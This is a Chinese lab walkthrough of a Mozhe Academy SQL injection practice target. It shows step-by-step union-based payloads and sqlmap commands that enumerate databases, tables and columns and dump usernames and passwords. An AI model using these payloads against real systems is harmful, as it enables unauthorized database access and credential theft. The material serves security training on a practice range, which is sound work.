1. 墨者学院:SQL过滤字符后手工注入漏洞测试(第3题)🚀
因为练习过太多的sql注入,废话不多介绍,我会通过围绕手动注入和工具爆破的方式达到靶场目标,开练!!!
2. 手工注入方式🎯
测试从"http://124.70.71.251:43066/new_list.php?"
开始,以自己的靶场地址为准。
2.1 确定字段数⚡
常见注入点:id=1 and 1=2
,id=1'
,id=1"
等等,本次靶场是单引号闭合。
id=1' order by 8--+
'
:单引号用于闭合SQL语句中的字符串
order by
:用于确定查询结果集的列数 ,字段max
=7
--+
:注释掉后续SQL语句,避免语法错误
2.2 确认显示位⚡
id=-1' union select 1,2,3,4,5,6,7--+
union select
:联合查询,用于显示可回显的字段位置
-1
:确保原查询不返回结果,只显示union select的结果
2.3 获取基本信息⚡
id=-1' union select 1,database(),version(),user(),5,6,7--+
database()
:获取当前数据库名称
version()
:获取数据库版本信息
user()
:获取当前数据库用户
2.4 获取表名⚡
id=-1' union select 1,group_concat(table_name),3,4,5,6,7 from information_schema.tables where table_schema='min_ju4t_mel1i'--+
information_schema.tables
:系统表,存储所有表信息
group_concat()
:将多行结果合并为一行
table_schema
:指定数据库名称
2.5 获取列名⚡
id=-1' union select 1,group_concat(column_name),3,4,5,6,7 from information_schema.columns where table_name='(@dmin9_td4b}'--+
information_schema.columns
:系统表,存储所有列信息
table_name
:指定要查询的表名
2.6 获取数据⚡
id=-1' union select 1,group_concat(username),group_concat(password),4,5,6,7 from `(@dmin9_td4b}`--+
username,password
:目标表的敏感字段
反引号`
:用于包裹特殊表名
3. sqlmap工具测试🎯
3.1 获取所有数据库⚡
python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" --dbs --batch
--dbs
:枚举所有数据库
--batch
:自动选择默认选项
3.2 获取指定数据库的表⚡
python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i --tables --batch
-D
:指定数据库
--tables
:枚举指定数据库的所有表
3.3 获取表的列⚡
python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} --columns --batch
-T
:指定表名
--columns
:枚举指定表的所有列
3.4 导出数据⚡
python sqlmap.py -u "http://124.70.64.48:43983/new_list.php?id=1" -D min_ju4t_mel1i -T (@dmin9_td4b} -C id,username,password,status --dump --batch
-C
:指定要导出的列
--dump
:导出指定表的数据
3.5 清理缓存⚡
python sqlmap.py --purge
--purge
:清除sqlmap缓存文件
该指令用于清除sqlmap的缓存,因为重启靶场,端口会发生变化,可能获取到的password是之前的数据,详细的sqlmap指令获取如下:
python sqlmap.py -h
4. 总结🏁
本次测试通过手工注入和sqlmap工具两种方式完成了SQL注入漏洞测试:
- 手工注入需要逐步构造payload,理解SQL语法
- sqlmap自动化程度高,但需要正确使用参数
- 目标网站存在明显的SQL注入漏洞,建议修复
- 特殊字符过滤不彻底,导致注入成功
声明:本文仅用于安全学习,严禁非法测试! ❗❗❗